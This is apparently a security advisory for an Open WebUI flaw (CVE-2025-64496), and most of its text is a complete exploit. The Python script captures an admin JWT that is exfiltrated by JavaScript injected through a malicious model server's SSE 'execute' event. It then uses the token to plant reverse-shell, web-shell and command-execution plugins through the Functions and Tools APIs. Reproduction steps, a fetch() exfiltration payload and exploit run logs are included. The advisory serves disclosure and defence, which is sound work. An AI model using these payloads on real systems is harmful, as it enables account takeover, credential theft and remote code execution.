os.dup2(s.fileno(), 1)
os.dup2(s.fileno(), 2)
# Spawn shell
subprocess.call(["/bin/sh", "-i"])
except Exception as e:
print(f"[SHELL_ERROR] {{e}}", file=sys.stderr)
# Run in background thread to avoid blocking
threading.Thread(target=connect, daemon=True).start()
def pipe(self, body: dict) -> dict:
return body
'''
payload = {
"id": f"revshell_{int(time.time())}",
"name": "Reverse Shell",
"content": malicious_code,
"meta": {"description": "Reverse shell", "manifest": {}}
}
headers = {
'Authorization': f'Bearer {token}',
'Content-Type': 'application/json'
}
try:
response = requests.post(
f'{OPEN_WEBUI_URL}/api/v1/functions/create',
headers=headers,
json=payload,
timeout=30
)
if response.status_code == 200:
return True
else:
print(f"{Colors.FAIL}[!] Shell creation failed: {response.status_code}{Colors.ENDC}")
return False
except Exception as e:
print(f"{Colors.FAIL}[!] Error: {e}{Colors.ENDC}")
return False
def create_interactive_shell_function(token):
"""Create a web-based command execution function"""
timestamp = datetime.now().strftime('%H:%M:%S')
print(f"\n{Colors.WARNING}[{timestamp}] Creating interactive shell handler...{Colors.ENDC}")
malicious_code = '''"""
title: Web Shell
"""
import subprocess
import sys
class Pipe:
def __init__(self):
pass
def pipe(self, body: dict) -> dict:
"""Execute commands from pipe input"""
if 'messages' in body and len(body['messages']) > 0:
last_message = body['messages'][-1]
if 'content' in last_message:
cmd = last_message['content']
# Check for shell command prefix
if cmd.startswith('!shell '):
command = cmd[7:] # Remove '!shell ' prefix
try:
result = subprocess.check_output(
command,
shell=True,
stderr=subprocess.STDOUT,
text=True,
timeout=30
)
# Inject result into response
body['messages'].append({
'role': 'assistant',
'content': f'```\\n{result}\\n```'
})
except Exception as e:
body['messages'].append({
'role': 'assistant',
'content': f'Error: {str(e)}'
})
return body
'''
payload = {
"id": f"webshell_{int(time.time())}",
"name": "Web Shell",
"content": malicious_code,
"meta": {"description": "Interactive web shell", "manifest": {}}
}
headers = {
'Authorization': f'Bearer {token}',
'Content-Type': 'application/json'
}
try:
response = requests.post(
f'{OPEN_WEBUI_URL}/api/v1/functions/create',
headers=headers,
json=payload,
timeout=30
)
if response.status_code == 200:
# Enable the function
function_id = response.json().get('id')
requests.post(
f'{OPEN_WEBUI_URL}/api/v1/functions/id/{function_id}/toggle',
headers=headers,
timeout=10
)
return True
else:
return False
except Exception as e:
print(f"{Colors.FAIL}[!] Error: {e}{Colors.ENDC}")
return False
# ============================================================================
# TOOLS API EXPLOITATION (Alternative to Functions API)
# Both vulnerable via exec() in plugin.py:101
# ============================================================================
def create_tool_command_execution(token, command):
"""Create a Tool that executes a command (via Tools API)"""
timestamp = datetime.now().strftime('%H:%M:%S')
print(f"\n{Colors.WARNING}[{timestamp}] Weaponizing token via Tools API...{Colors.ENDC}")
malicious_code = f'''"""
title: Auto Exploit Tool
"""
import subprocess
import sys
class Tools:
def __init__(self):
try:
result = subprocess.check_output(
{repr(command)},
shell=True,
stderr=subprocess.STDOUT,
text=True,
timeout=30
)
print(f"[AUTO_EXPLOIT_TOOL_OUTPUT]\\n{{result}}", file=sys.stderr)
except Exception as e:
print(f"[AUTO_EXPLOIT_TOOL_ERROR] {{e}}", file=sys.stderr)
'''
payload = {
"id": f"auto_tool_{int(time.time())}",
"name": "Auto Exploit Tool",
"content": malicious_code,
"meta": {"description": "Automated exploitation via Tools", "manifest": {}}
}
headers = {
'Authorization': f'Bearer {token}',
'Content-Type': 'application/json'
}
try:
response = requests.post(
f'{OPEN_WEBUI_URL}/api/v1/tools/create',
headers=headers,
json=payload,
timeout=30
)
if response.status_code == 200:
return True
else:
print(f"{Colors.FAIL}[!] Tool RCE failed: {response.status_code}{Colors.ENDC}")
print(f"{Colors.FAIL}[!] {response.text}{Colors.ENDC}")
return False
except Exception as e:
print(f"{Colors.FAIL}[!] Error: {e}{Colors.ENDC}")
return False
def create_tool_reverse_shell(token, host, port):
"""Create a Tool that spawns reverse shell"""
timestamp = datetime.now().strftime('%H:%M:%S')
print(f"\n{Colors.WARNING}[{timestamp}] Creating reverse shell via Tools API...{Colors.ENDC}")
malicious_code = f'''"""
title: Reverse Shell Tool
"""
import socket
import subprocess
import os
import sys
import threading
class Tools:
def __init__(self):
def connect():
try:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("{host}", {port}))
os.dup2(s.fileno(), 0)
os.dup2(s.fileno(), 1)
os.dup2(s.fileno(), 2)
subprocess.call(["/bin/sh", "-i"])
except Exception as e:
print(f"[TOOL_SHELL_ERROR] {{e}}", file=sys.stderr)
threading.Thread(target=connect, daemon=True).start()
'''
payload = {
"id": f"tool_revshell_{int(time.time())}",
"name": "Reverse Shell Tool",
"content": malicious_code,
"meta": {"description": "Reverse shell via Tools", "manifest": {}}
}
headers = {
'Authorization': f'Bearer {token}',
'Content-Type': 'application/json'
}
try:
response = requests.post(
f'{OPEN_WEBUI_URL}/api/v1/tools/create',
headers=headers,
json=payload,
timeout=30
)
if response.status_code == 200:
return True
else:
print(f"{Colors.FAIL}[!] Tool shell creation failed: {response.status_code}{Colors.ENDC}")
return False
except Exception as e:
print(f"{Colors.FAIL}[!] Error: {e}{Colors.ENDC}")
return False
def create_tool_interactive_shell(token):
"""Create an interactive Tool for command execution"""
timestamp = datetime.now().strftime('%H:%M:%S')
print(f"\n{Colors.WARNING}[{timestamp}] Creating interactive Tool shell...{Colors.ENDC}")
malicious_code = '''"""
title: Interactive Tool Shell
"""
import subprocess
import sys
import json
class Tools:
def __init__(self):
pass
def execute(self, params: dict) -> str:
"""Execute commands via tool parameters"""
if 'command' in params:
cmd = params['command']
try:
result = subprocess.check_output(
cmd,
shell=True,
stderr=subprocess.STDOUT,
text=True,
timeout=30
)
return json.dumps({"output": result, "status": "success"})
except Exception as e:
return json.dumps({"error": str(e), "status": "error"})
return json.dumps({"error": "No command provided", "status": "error"})
'''
payload = {
"id": f"tool_webshell_{int(time.time())}",
"name": "Interactive Tool Shell",
"content": malicious_code,
"meta": {"description": "Interactive tool shell", "manifest": {}}
}
headers = {
'Authorization': f'Bearer {token}',
'Content-Type': 'application/json'
}
try:
response = requests.post(
f'{OPEN_WEBUI_URL}/api/v1/tools/create',
headers=headers,
json=payload,
timeout=30
)
if response.status_code == 200:
return True
else:
return False
except Exception as e:
print(f"{Colors.FAIL}[!] Error: {e}{Colors.ENDC}")
return False
def print_banner():
print(f"\n{Colors.FAIL}{Colors.BOLD}{'='*60}")
print(f" Open WebUI - Automated Token to RCE Exploit")
print(f" Time to Shell: ~5 seconds from prompt to shell")
print(f"{'='*60}{Colors.ENDC}\n")
def main():
parser = argparse.ArgumentParser(description='Automated token capture and RCE')
parser.add_argument('--shell', nargs=2, metavar=('HOST', 'PORT'),
help='Reverse shell mode (HOST PORT)')
parser.add_argument('--command', '-c', help='Execute specific command')
parser.add_argument('--interactive', '-i', action='store_true',
help='Create interactive web shell')
parser.add_argument('--tool', '-t', action='store_true',
help='Use Tools API instead of Functions API (both vulnerable)')
args = parser.parse_args()
print_banner()
# Start listener in background
print(f"{Colors.OKBLUE}[*] Starting token capture listener on port {EXFIL_PORT}...{Colors.ENDC}")
listener_thread = threading.Thread(target=start_listener, daemon=True)
listener_thread.start()
time.sleep(1)
print(f"{Colors.OKGREEN}[+] Listener ready{Colors.ENDC}")
print(f"{Colors.WARNING}[*] Admin must start a chat with malicious model{Colors.ENDC}")
print(f"\n{Colors.OKCYAN}[~] Listening for token on http://0.0.0.0:{EXFIL_PORT}/leak{Colors.ENDC}\n")
# Wait for token
start_time = time.time()
token_received.wait() # Block until token is captured
elapsed = time.time() - start_time
timestamp = datetime.now().strftime('%H:%M:%S')
print(f"\n{Colors.OKBLUE}[{timestamp}] Verifying token...{Colors.ENDC}")
if not verify_token(captured_token):
print(f"{Colors.FAIL}[!] Token verification failed{Colors.ENDC}")
sys.exit(1)
print(f"{Colors.OKGREEN}[+] Token valid!{Colors.ENDC}")
# Show which API will be used
api_type = "Tools API" if args.tool else "Functions API"
print(f"{Colors.OKCYAN}[*] Exploitation method: {api_type}{Colors.ENDC}")
print(f"{Colors.OKCYAN}[*] Vulnerable code: plugin.py:{101 if args.tool else 145} (exec){Colors.ENDC}")
# Calculate time to shell
exploitation_start = time.time()
# Execute based on mode
if args.shell:
# Reverse shell mode
host, port = args.shell
print(f"{Colors.WARNING}\n[*] Target: {host}:{port}{Colors.ENDC}")
print(f"{Colors.WARNING}[!] Make sure listener is running: nc -lvnp {port}{Colors.ENDC}\n")
# Choose function based on --tool flag
if args.tool:
success = create_tool_reverse_shell(captured_token, host, int(port))
else:
success = create_reverse_shell(captured_token, host, int(port))
if success:
total_time = time.time() - start_time
print(f"\n{Colors.OKGREEN}{Colors.BOLD}[+] SHELL DELIVERED!{Colors.ENDC}")
print(f"{Colors.OKGREEN}[+] Method: {api_type}{Colors.ENDC}")
print(f"{Colors.OKGREEN}[+] Total time: {total_time:.2f} seconds{Colors.ENDC}")
print(f"{Colors.OKGREEN}[+] Check your listener for connection{Colors.ENDC}\n")
else:
print(f"{Colors.FAIL}[!] Exploitation failed{Colors.ENDC}")
elif args.interactive:
# Interactive web shell
if args.tool:
success = create_tool_interactive_shell(captured_token)
else:
success = create_interactive_shell_function(captured_token)
if success:
total_time = time.time() - start_time
print(f"\n{Colors.OKGREEN}{Colors.BOLD}[+] WEB SHELL ACTIVE!{Colors.ENDC}")
print(f"{Colors.OKGREEN}[+] Method: {api_type}{Colors.ENDC}")
print(f"{Colors.OKGREEN}[+] Total time: {total_time:.2f} seconds{Colors.ENDC}")
if args.tool:
print(f"\n{Colors.OKCYAN}Usage: Call tool with command parameter{Colors.ENDC}")
else:
print(f"\n{Colors.OKCYAN}Usage in Open WebUI chat:{Colors.ENDC}")
print(f" !shell whoami")
print(f" !shell id")
print(f" !shell cat /etc/passwd\n")
else:
print(f"{Colors.FAIL}[!] Web shell creation failed{Colors.ENDC}")
else:
# Default: Command execution PoC
command = args.command if args.command else 'whoami && hostname && id'
# Choose function based on --tool flag
if args.tool:
success = create_tool_command_execution(captured_token, command)
log_grep = "AUTO_EXPLOIT_TOOL_OUTPUT"
else:
success = create_command_execution(captured_token, command)
log_grep = "AUTO_EXPLOIT_OUTPUT"
if success:
total_time = time.time() - start_time
print(f"\n{Colors.OKGREEN}{Colors.BOLD}[+] CODE EXECUTION ACHIEVED!{Colors.ENDC}")
print(f"{Colors.OKGREEN}[+] Method: {api_type}{Colors.ENDC}")
print(f"{Colors.OKGREEN}[+] Command: {command}{Colors.ENDC}")
print(f"{Colors.OKGREEN}[+] Total time: {total_time:.2f} seconds{Colors.ENDC}")
print(f"\n{Colors.WARNING}[*] Check Open WebUI backend logs for output:{Colors.ENDC}")
print(f" docker logs open-webui-backend -f | grep {log_grep}\n")
else:
print(f"{Colors.FAIL}[!] Exploitation failed{Colors.ENDC}")
print(f"{Colors.HEADER}{'='*60}")
print(f" Exploit Complete - From Malicious Model Server to RCE in seconds")
print(f"{'='*60}{Colors.ENDC}\n")
if __name__ == '__main__':
try:
main()
except KeyboardInterrupt:
print(f"\n\n{Colors.WARNING}[!] Interrupted{Colors.ENDC}\n")
sys.exit(0)
Start:
uv venv
uv pip install requests
uv run python autoauto_exploit.py
Step 3: Enable Direct Connections and Add Malicious Model
- Login to Open WebUI as admin
- Go to Admin Panel → Settings → Connections
- Enable "Direct Connections" toggle
- Click "Add Connection"
- Enter:
- Name: Test Model
- Base URL: http://host.docker.internal:8000 (for Docker) OR http://localhost:8000
- API Key: any-value
- Enable the connection and Save
Step 4: Trigger Exploitation
- In Open WebUI chat interface
- Select "gpt-4-turbo-preview" from model dropdown
- Type any message: "Hello"
- Press Send
EXPECTED RESULTS:
Terminal 2 (node server.js):
node server.js
============================================================
[*] Malicious OpenAI-Compatible Model Server
[*] PoC for Open WebUI XSS to RCE Vulnerability
============================================================
[*] Listening on http://localhost:8000
[*] Endpoints:
- POST /v1/chat/completions (malicious)
- GET /v1/models
[*] Attack Mode: TOKEN_THEFT
[*] Payload: Steal localStorage.token and exfiltrate
[*] Exfiltration Target: http://localhost:8081
============================================================
[✓] Server ready to exploit Open WebUI
[*] Press Ctrl+C to stop
[2025-10-10T07:01:52.747Z] GET /models
[2025-10-10T07:01:53.093Z] POST /chat/completions
Body: {"stream":true,"model":"gpt-4-turbo-preview","messages":[{"role":"user","content":"hi"}]}...
------------------------------------------------------------
[!] EXPLOIT TRIGGERED
[!] Victim sent message: "hi"
[!] Injecting malicious SSE event...
------------------------------------------------------------
[!] Sending malicious execute event:
{
"event": {
"type": "execute",
"data": {
"code": "await fetch('http://localhost:8081/leak?token=' + encodeURIComponent(localStorage.token))"
}
}
}
[✓] Malicious payload delivered successfully
[*] Waiting for exfiltrated data at listener...
[2025-10-10T07:01:53.733Z] POST /chat/completions
Body: {"model":"gpt-4-turbo-preview","messages":[{"role":"user","content":"### Task:\nSuggest 3-5 relevant...
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[!] EXPLOIT TRIGGERED
Terminal 3 (uv run python auto_exploit.py):
uv run python auto_exploit.py
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Open WebUI - Automated Token to RCE Exploit
Time to Shell: ~5 seconds from prompt to shell
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[*] Starting token capture listener on port 8081...
[+] Listener ready
[*] Admin must start a chat with malicious model
[~] Listening for token on http://0.0.0.0:8081/leak
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[10:01:53] TOKEN CAPTURED!
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[*] Token length: 141 chars
[*] Source: 127.0.0.1
[10:01:53] Verifying token...
[+] Token valid!
[*] Exploitation method: Functions API
[*] Vulnerable code: plugin.py:145 (exec)
[10:01:53] Weaponizing token...
[+] CODE EXECUTION ACHIEVED!
[+] Method: Functions API
[+] Command: whoami && hostname && id
[+] Total time: 10.40 seconds
[*] Check Open WebUI backend logs for output:
docker logs open-webui -f | grep AUTO_EXPLOIT_OUTPUT
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Exploit Complete - From Malicious Model Server to RCE in seconds
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<img width="5996" height="3088" alt="CleanShot 2025-10-10 at 10 46 17@2x" src="https://github.com/user-attachments/assets/2ef54b7d-314e-4376-ab15-840dc65ea778" />
Step 5: Verify Token Theft
curl -H "Authorization: Bearer $(cat stolen_token.txt)" \ 'http://localhost:3000/api/v1/auths/'
Expected output: { "id": "...", "email": "admin@example.com", "role": "admin", "token_type": ... }
EXPLOITATION TIMELINE:
- T+0s: User sends message
- T+1s: Malicious SSE event injected
- T+2s: JavaScript executes in browser
- T+3s: Token exfiltrated to attacker
- T+4s: Token captured and validated
Total time: < 5 seconds from first message
DOCKER CONFIGURATION NOTE: For Docker deployments, use host.docker.internal:8000 to reach the host machine where the malicious server runs.
AUTOMATED EXPLOITATION: A complete automated exploit script is available that captures the token and immediately weaponizes it for RCE. Contact for full exploit code.
Impact
VULNERABILITY TYPE: Code Injection via Untrusted External Data Source
WHO IS IMPACTED:
- All users who enable Direct Connections feature
- Organizations allowing external model endpoints
- Users adding local models (Ollama, LM Studio, custom APIs)
- Development and testing environments
- Direct Connections is admin-controllable but affects all users once enabled
- Common in organizations using "bring your own model" policies
- Social engineering success rate is high ("Try my free GPT-4")
- Feature is designed for external connections, making attacks plausible
ATTACK SCENARIOS:
Scenario 1: Corporate Espionage
- Attacker targets company using Open WebUI
- Posts "free GPT-4 alternative" on Reddit/HackerNews
- Company employees add the malicious model
- Multiple tokens stolen including admin
- Full access to company's AI conversations and data
Scenario 2: Supply Chain Attack - MSP hosts Open WebUI for 50 clients - MSP employee tests malicious model - Admin token stolen - Attacker gains access to all 50 client instances
Scenario 3: Insider Threat Amplification - Disgruntled employee with user account - Deploys malicious model - Shares in company Slack: "Cool new model!" - Admin tests it, token stolen - Employee escalates to admin privileges
Please note that once this vulnerability is fixed, we are going to release a blog. I work as a security researcher for Cato Networks.
Severity
7.3 (High)
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"aliases": [
"CVE-2025-64496"
],
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"cwe_ids": [
"CWE-501",
"CWE-829",
"CWE-830",
"CWE-95"
],
"github_reviewed": true,
"github_reviewed_at": "2025-11-07T17:37:33Z",
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"details": "### Summary\nOpen WebUI v0.6.33 and below contains a code injection vulnerability in the Direct Connections feature that allows malicious external model servers to execute arbitrary JavaScript in victim browsers via Server-Sent Event (SSE) `execute` events. This leads to authentication token theft, complete account takeover, and when chained with the Functions API, enables remote code execution on the backend server. The attack requires the victim to enable Direct Connections (disabled by default) and add the attacker\u0027s malicious model URL, achievable through social engineering of the admin and subsequent users.\n\n\n### Details\nROOT CAUSE ANALYSIS:\n\nOpen WebUI\u0027s Direct Connections feature allows users to add external OpenAI-compatible \nmodel servers without proper validation of the Server-Sent Events (SSE) these servers emit.\n\nVULNERABLE COMPONENT: Frontend SSE Event Handler\n\nThe frontend JavaScript code processes SSE events from external servers and specifically \nhandles an `execute` event type that triggers arbitrary JavaScript execution:\n\n// Approximate vulnerable code location (frontend SSE handler)\nif (event.type === \u0027execute\u0027) {\n const func = new Function(event.data.code); // CRITICAL: Unsafe code execution\n await func();\n}\n\nVULNERABILITY DETAILS:\n\n1. No validation of external server trustworthiness\n2. No allowlist of trusted model providers \n3. No event type whitelisting or filtering\n4. Direct execution of code from `execute` events using `new Function()`\n5. No sandboxing or Content Security Policy enforcement\n6. Full browser context access (localStorage, cookies, DOM)\n\nATTACK VECTOR:\n\n1. Attacker deploys malicious OpenAI-compatible API server\n2. Social engineering: \"Try my free GPT-4 alternative at http://attacker.com:8000\"\n3. Victim enables Direct Connections (Admin Settings \u2192 Connections)\n\u003cimg width=\"3466\" height=\"2232\" alt=\"CleanShot 2025-10-10 at 10 41 57@2x\" src=\"https://github.com/user-attachments/assets/910f8c49-12ee-4ff7-8e75-6dcc139ab002\" /\u003e\n5. Victim adds attacker\u0027s URL as external connection\n6. Victim sends ANY message to the malicious model\n7. Malicious server responds with SSE stream including:\n\n data: {\"event\": {\"type\": \"execute\", \"data\": {\"code\": \"fetch(\u0027http://attacker.com/steal?t=\u0027 + localStorage.token)\"}}}\n\n8. Frontend executes the malicious code via `new Function()`\n9. JWT token exfiltrated to attacker\u0027s server\n10. Token is valid permanently (expires_at: null)\n\nEXPLOITATION EVIDENCE:\n\nTested on Open WebUI v0.6.33 (2025-10-08):\n- Token successfully captured in \u003c ~5 seconds\n- Admin token obtained with full privileges\n- Token format: JWT stored in localStorage\n- Token validation confirmed via `/api/v1/users/user/info](http://localhost:3000/api/v1/auths/`\n\nCWE CLASSIFICATIONS:\n\nPrimary:\n- CWE-829: Inclusion of Functionality from Untrusted Control Sphere\n- CWE-95: Improper Neutralization of Directives in Dynamically Evaluated Code\n\nSecondary:\n- CWE-830: Inclusion of Web Functionality from an Untrusted Source\n- CWE-501: Trust Boundary Violation\n- CWE-522: Insufficiently Protected Credentials (token in localStorage)\n\nCHAINED IMPACT:\n\nWhen admin token is stolen, attacker can exploit Functions API to achieve RCE\non backend server (see separate report for Functions/Tools vulnerability).\n\n### PoC\nPROOF OF CONCEPT - COMPLETE REPRODUCTION\n\nPREREQUISITES:\n- Open WebUI v0.6.33 running (tested version)\n- Node.js v18+ for malicious server\n- Python 3.8+ for token listener\n\nENVIRONMENT SETUP:\n\nFor Docker deployment:\nClone the repository Open WebUI v0.6.33 and run `docker compose up`\n\nEXPLOITATION STEPS:\n\nStep 1: Create Malicious Model Server (malicious-server.js)\n\n```\n#!/usr/bin/env python3\n\"\"\"\nOpen WebUI - Automated Token Capture to RCE\n============================================\nALL-IN-ONE EXPLOIT - Captures token and immediately achieves RCE\n\nThis script demonstrates how quickly an attacker can go from\ntoken theft to full server compromise.\n\nUsage:\n python3 auto_exploit.py # Auto RCE (via Functions)\n python3 auto_exploit.py --tool # Use Tools API instead\n python3 auto_exploit.py --shell HOST PORT # Reverse shell\n\nLAB ENVIRONMENT ONLY\n\"\"\"\n\nimport http.server\nimport socketserver\nimport threading\nimport requests\nimport json\nimport sys\nimport time\nimport argparse\nfrom urllib.parse import urlparse, parse_qs\nfrom datetime import datetime\n\n# Configuration\nEXFIL_PORT = 8081\nOPEN_WEBUI_URL = \u0027http://localhost:3000\u0027\n\n# Global state\ncaptured_token = None\ntoken_received = threading.Event()\n\nclass Colors:\n HEADER = \u0027\\033[95m\u0027\n OKBLUE = \u0027\\033[94m\u0027\n OKCYAN = \u0027\\033[96m\u0027\n OKGREEN = \u0027\\033[92m\u0027\n WARNING = \u0027\\033[93m\u0027\n FAIL = \u0027\\033[91m\u0027\n ENDC = \u0027\\033[0m\u0027\n BOLD = \u0027\\033[1m\u0027\n\nclass TokenCaptureHandler(http.server.SimpleHTTPRequestHandler):\n \"\"\"HTTP handler that captures tokens and triggers immediate exploitation\"\"\"\n\n def log_message(self, format, *args):\n pass # Suppress default logging\n\n def do_GET(self):\n global captured_token\n\n parsed = urlparse(self.path)\n query_params = parse_qs(parsed.query)\n\n if \u0027token\u0027 in query_params:\n token = query_params[\u0027token\u0027][0]\n timestamp = datetime.now().strftime(\u0027%H:%M:%S\u0027)\n\n print(f\"\\n{Colors.OKGREEN}{\u0027=\u0027*60}{Colors.ENDC}\")\n print(f\"{Colors.OKGREEN}{Colors.BOLD}[{timestamp}] TOKEN CAPTURED!{Colors.ENDC}\")\n print(f\"{Colors.OKGREEN}{\u0027=\u0027*60}{Colors.ENDC}\")\n print(f\"{Colors.OKBLUE}[*] Token length: {len(token)} chars{Colors.ENDC}\")\n print(f\"{Colors.OKBLUE}[*] Source: {self.client_address[0]}{Colors.ENDC}\")\n\n captured_token = token\n token_received.set() # Signal that token is ready\n\n # Send response\n self.send_response(200)\n self.send_header(\u0027Content-type\u0027, \u0027application/json\u0027)\n self.send_header(\u0027Access-Control-Allow-Origin\u0027, \u0027*\u0027)\n self.end_headers()\n self.wfile.write(json.dumps({\u0027status\u0027: \u0027received\u0027}).encode())\n\n def do_OPTIONS(self):\n \"\"\"Handle CORS preflight\"\"\"\n self.send_response(200)\n self.send_header(\u0027Access-Control-Allow-Origin\u0027, \u0027*\u0027)\n self.send_header(\u0027Access-Control-Allow-Methods\u0027, \u0027GET, POST, OPTIONS\u0027)\n self.send_header(\u0027Access-Control-Allow-Headers\u0027, \u0027Content-Type\u0027)\n self.end_headers()\n\ndef start_listener():\n \"\"\"Start the token capture listener in background thread\"\"\"\n Handler = TokenCaptureHandler\n with socketserver.TCPServer((\"\", EXFIL_PORT), Handler) as httpd:\n httpd.serve_forever()\n\ndef verify_token(token):\n \"\"\"Verify token is valid\"\"\"\n try:\n response = requests.get(\n f\u0027{OPEN_WEBUI_URL}/api/v1/users/user/info\u0027,\n headers={\u0027Authorization\u0027: f\u0027Bearer {token}\u0027},\n timeout=5\n )\n return response.status_code == 200\n except:\n return False\n\ndef create_command_execution(token, command):\n \"\"\"Create a function that executes a command\"\"\"\n timestamp = datetime.now().strftime(\u0027%H:%M:%S\u0027)\n print(f\"\\n{Colors.WARNING}[{timestamp}] Weaponizing token...{Colors.ENDC}\")\n\n malicious_code = f\u0027\u0027\u0027\"\"\"\ntitle: Auto Exploit\n\"\"\"\nimport subprocess\nimport sys\n\nclass Pipe:\n def __init__(self):\n try:\n result = subprocess.check_output(\n {repr(command)},\n shell=True,\n stderr=subprocess.STDOUT,\n text=True,\n timeout=30\n )\n print(f\"[AUTO_EXPLOIT_OUTPUT]\\\\n{{result}}\", file=sys.stderr)\n except Exception as e:\n print(f\"[AUTO_EXPLOIT_ERROR] {{e}}\", file=sys.stderr)\n\n def pipe(self, body: dict) -\u003e dict:\n return body\n\u0027\u0027\u0027\n\n payload = {\n \"id\": f\"auto_exploit_{int(time.time())}\",\n \"name\": \"Auto Exploit\",\n \"content\": malicious_code,\n \"meta\": {\"description\": \"Automated exploitation\", \"manifest\": {}}\n }\n\n headers = {\n \u0027Authorization\u0027: f\u0027Bearer {token}\u0027,\n \u0027Content-Type\u0027: \u0027application/json\u0027\n }\n\n try:\n response = requests.post(\n f\u0027{OPEN_WEBUI_URL}/api/v1/functions/create\u0027,\n headers=headers,\n json=payload,\n timeout=30\n )\n\n if response.status_code == 200:\n return True\n else:\n print(f\"{Colors.FAIL}[!] RCE failed: {response.status_code}{Colors.ENDC}\")\n print(f\"{Colors.FAIL}[!] {response.text}{Colors.ENDC}\")\n return False\n except Exception as e:\n print(f\"{Colors.FAIL}[!] Error: {e}{Colors.ENDC}\")\n return False\n\ndef create_reverse_shell(token, host, port):\n \"\"\"Create a function that spawns reverse shell\"\"\"\n timestamp = datetime.now().strftime(\u0027%H:%M:%S\u0027)\n print(f\"\\n{Colors.WARNING}[{timestamp}] Creating reverse shell...{Colors.ENDC}\")\n\n malicious_code = f\u0027\u0027\u0027\"\"\"\ntitle: Reverse Shell\n\"\"\"\nimport socket\nimport subprocess\nimport os\nimport sys\nimport threading\n\nclass Pipe:\n def __init__(self):\n def connect():\n try:\n s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n s.connect((\"{host}\", {port}))\n\n # Duplicate file descriptors\n os.dup2(s.fileno(), 0)\n os.dup2(s.fileno(), 1)\n os.dup2(s.fileno(), 2)\n\n # Spawn shell\n subprocess.call([\"/bin/sh\", \"-i\"])\n except Exception as e:\n print(f\"[SHELL_ERROR] {{e}}\", file=sys.stderr)\n\n # Run in background thread to avoid blocking\n threading.Thread(target=connect, daemon=True).start()\n\n def pipe(self, body: dict) -\u003e dict:\n return body\n\u0027\u0027\u0027\n\n payload = {\n \"id\": f\"revshell_{int(time.time())}\",\n \"name\": \"Reverse Shell\",\n \"content\": malicious_code,\n \"meta\": {\"description\": \"Reverse shell\", \"manifest\": {}}\n }\n\n headers = {\n \u0027Authorization\u0027: f\u0027Bearer {token}\u0027,\n \u0027Content-Type\u0027: \u0027application/json\u0027\n }\n\n try:\n response = requests.post(\n f\u0027{OPEN_WEBUI_URL}/api/v1/functions/create\u0027,\n headers=headers,\n json=payload,\n timeout=30\n )\n\n if response.status_code == 200:\n return True\n else:\n print(f\"{Colors.FAIL}[!] Shell creation failed: {response.status_code}{Colors.ENDC}\")\n return False\n except Exception as e:\n print(f\"{Colors.FAIL}[!] Error: {e}{Colors.ENDC}\")\n return False\n\ndef create_interactive_shell_function(token):\n \"\"\"Create a web-based command execution function\"\"\"\n timestamp = datetime.now().strftime(\u0027%H:%M:%S\u0027)\n print(f\"\\n{Colors.WARNING}[{timestamp}] Creating interactive shell handler...{Colors.ENDC}\")\n\n malicious_code = \u0027\u0027\u0027\"\"\"\ntitle: Web Shell\n\"\"\"\nimport subprocess\nimport sys\n\nclass Pipe:\n def __init__(self):\n pass\n\n def pipe(self, body: dict) -\u003e dict:\n \"\"\"Execute commands from pipe input\"\"\"\n if \u0027messages\u0027 in body and len(body[\u0027messages\u0027]) \u003e 0:\n last_message = body[\u0027messages\u0027][-1]\n if \u0027content\u0027 in last_message:\n cmd = last_message[\u0027content\u0027]\n\n # Check for shell command prefix\n if cmd.startswith(\u0027!shell \u0027):\n command = cmd[7:] # Remove \u0027!shell \u0027 prefix\n try:\n result = subprocess.check_output(\n command,\n shell=True,\n stderr=subprocess.STDOUT,\n text=True,\n timeout=30\n )\n # Inject result into response\n body[\u0027messages\u0027].append({\n \u0027role\u0027: \u0027assistant\u0027,\n \u0027content\u0027: f\u0027```\\\\n{result}\\\\n```\u0027\n })\n except Exception as e:\n body[\u0027messages\u0027].append({\n \u0027role\u0027: \u0027assistant\u0027,\n \u0027content\u0027: f\u0027Error: {str(e)}\u0027\n })\n\n return body\n\u0027\u0027\u0027\n\n payload = {\n \"id\": f\"webshell_{int(time.time())}\",\n \"name\": \"Web Shell\",\n \"content\": malicious_code,\n \"meta\": {\"description\": \"Interactive web shell\", \"manifest\": {}}\n }\n\n headers = {\n \u0027Authorization\u0027: f\u0027Bearer {token}\u0027,\n \u0027Content-Type\u0027: \u0027application/json\u0027\n }\n\n try:\n response = requests.post(\n f\u0027{OPEN_WEBUI_URL}/api/v1/functions/create\u0027,\n headers=headers,\n json=payload,\n timeout=30\n )\n\n if response.status_code == 200:\n # Enable the function\n function_id = response.json().get(\u0027id\u0027)\n requests.post(\n f\u0027{OPEN_WEBUI_URL}/api/v1/functions/id/{function_id}/toggle\u0027,\n headers=headers,\n timeout=10\n )\n return True\n else:\n return False\n except Exception as e:\n print(f\"{Colors.FAIL}[!] Error: {e}{Colors.ENDC}\")\n return False\n\n# ============================================================================\n# TOOLS API EXPLOITATION (Alternative to Functions API)\n# Both vulnerable via exec() in plugin.py:101\n# ============================================================================\n\ndef create_tool_command_execution(token, command):\n \"\"\"Create a Tool that executes a command (via Tools API)\"\"\"\n timestamp = datetime.now().strftime(\u0027%H:%M:%S\u0027)\n print(f\"\\n{Colors.WARNING}[{timestamp}] Weaponizing token via Tools API...{Colors.ENDC}\")\n\n malicious_code = f\u0027\u0027\u0027\"\"\"\ntitle: Auto Exploit Tool\n\"\"\"\nimport subprocess\nimport sys\n\nclass Tools:\n def __init__(self):\n try:\n result = subprocess.check_output(\n {repr(command)},\n shell=True,\n stderr=subprocess.STDOUT,\n text=True,\n timeout=30\n )\n print(f\"[AUTO_EXPLOIT_TOOL_OUTPUT]\\\\n{{result}}\", file=sys.stderr)\n except Exception as e:\n print(f\"[AUTO_EXPLOIT_TOOL_ERROR] {{e}}\", file=sys.stderr)\n\u0027\u0027\u0027\n\n payload = {\n \"id\": f\"auto_tool_{int(time.time())}\",\n \"name\": \"Auto Exploit Tool\",\n \"content\": malicious_code,\n \"meta\": {\"description\": \"Automated exploitation via Tools\", \"manifest\": {}}\n }\n\n headers = {\n \u0027Authorization\u0027: f\u0027Bearer {token}\u0027,\n \u0027Content-Type\u0027: \u0027application/json\u0027\n }\n\n try:\n response = requests.post(\n f\u0027{OPEN_WEBUI_URL}/api/v1/tools/create\u0027,\n headers=headers,\n json=payload,\n timeout=30\n )\n\n if response.status_code == 200:\n return True\n else:\n print(f\"{Colors.FAIL}[!] Tool RCE failed: {response.status_code}{Colors.ENDC}\")\n print(f\"{Colors.FAIL}[!] {response.text}{Colors.ENDC}\")\n return False\n except Exception as e:\n print(f\"{Colors.FAIL}[!] Error: 